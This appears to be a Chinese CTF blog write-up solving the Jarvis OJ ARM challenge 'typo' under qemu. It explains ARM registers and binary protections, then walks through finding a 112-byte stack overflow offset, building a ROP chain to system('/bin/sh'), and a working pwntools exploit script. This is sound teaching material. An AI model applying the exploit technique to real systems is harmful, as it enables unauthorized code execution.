Pwn-10月15-qemu

时间:2024-03-27 16:26:44

Pwn-10月15-简单了解异构pwn题

        参照m4x大佬的博客简单地搭建了一下环境后,继续来练练手,简单了解一下异构binary调试,如arm,mips,环境搭建参照上一篇。

Pwn-10月15-qemu

arm 的参数 1 ~ 4 分别保存到 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡, 返回值存放在 r0 中 。arm 的 pc 指针相当于 eip/rip, b/bl 等指令实现了跳转

Jarvis oj - typo

简单说一下步骤:先查看保护措施,可以发现没有栈溢出保护,运行程序有溢出点可以利用,然后可以找到溢出点位置,找到system函数,以及/bin/sh字符串的位置,然后拿到能够控制 r0寄存器

一. 查看保护措施

#checksec typo

    Arch:     arm-32-little	#32位小端序 arm架构程序
    RELRO:    Partial RELRO
    Stack:    No canary found	#无栈溢出保护
    NX:       NX enabled		
    PIE:      No PIE (0x8000)

顺便学习一下几种防护措施的意思:

参考链接:https://www.jianshu.com/p/6e528b33e37a

RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域,尽量减少可写的存储区域可使安全系数提高。GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术Relocation Read Only, 重定向只读,实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。

​ 栈溢出检查,用Canary金丝雀值是否变化来检测,Canary found表示开启。金丝雀最早指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。这里是一种缓冲区溢出攻击缓解手段:启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux将cookie信息称为Canary。

** NX ** : No Execute,栈不可执行,也就是windows上的DEP。 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠向前兼容的修补来减少溢出带来的损害,DEP就是用来弥补计算机对数据和代码混淆这一天然缺陷的。

PIE: position-independent executables, 位置无关的可执行文件,也就是常说的ASLR(Address space layout randomization) 地址随机化,程序每次启动基址都随机。

二. 分析程序

开始远程调试:

Pwn-10月15-qemu

另一边使用 gdb-multiarch typo -q进入pwndbg,并且使用target remote localhost:6788连接程序:

Pwn-10月15-qemu

生成padding,输入后得到溢出信息

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Pwn-10月15-qemu

三.确定溢出点

之前已经说过PC相当于EIP,RIP之类的指向下一条指令的寄存器,那么可以计算padding到PC寄存器的偏移量进而确定溢出点为0x62616165:

使用pwndbg的cyclic -l命令可以通过地址,字符串确定偏移量.

Pwn-10月15-qemu

四.构造payload进行利用

默默标记M4x博文中的这句话因为是静态链接, 所以 binary 中一定会有 system 函数 和 /bin/sh 字符串, 如果能找到溢出点, 很容易就能用 rop 来解决了,学习一波姿势,构造rop chain,通过ROPgadget可以找到我们需要的:可以用来传递 返回值的寄存器 r0

Pwn-10月15-qemu

那么接下来就是寻找system函数的地址,将其填入PC寄存器的位置,从而执行system('/bin/sh')

IDA调试一波:

通过字符串查找或者交叉引用可以发现函数sub_10BA8

Pwn-10月15-qemu

不知道是不是ida7.0的原因,这里直接找到了system函数:

Pwn-10月15-qemu

可以看到其执行命令的逻辑和地址:

Pwn-10月15-qemu

接下来可以开始构造payload结构:

|	padding    		|	<< 112*'a'
|	pop {r0,r4,pc}	|	<< p32(0x20904) #gadget_addr
|	/bin/sh			|	<< p32(0x6c384)	#/bin/sh_addr
|	junk_data(r4)	|	<< p32("anything")	#r4填充
|	system_addr(pc)	|	<< p32(0x110b4)	#system函数地址

溢出导致PC指向gadget_addr,然后执行命令pop出栈将"/bin/sh"赋值到r0寄存器,junk_data赋值到r4寄存器,system_addr赋值到PC寄存器。

五.攻破

写出exp:

#coding:utf-8
__Auther__ = "Yof3ng"

from pwn import *

io = process("./typo")

print(io.recvuntil("quit\n"))
io.send("\n")
print(io.recvline())
print(io.recvline())

payload = 'a'*112 + p32(0x20904) + p32(0x6c384)*2 + p32(0x110b4)
try:
    io.send(payload)
    io.sendline("echo xiaoyifeng")
except:
    print("Error!")
    exit(0)
if(io.recvuntil("xiaoyifeng")):
    print("getshell")


Pwn-10月15-qemu

PWN真好玩!??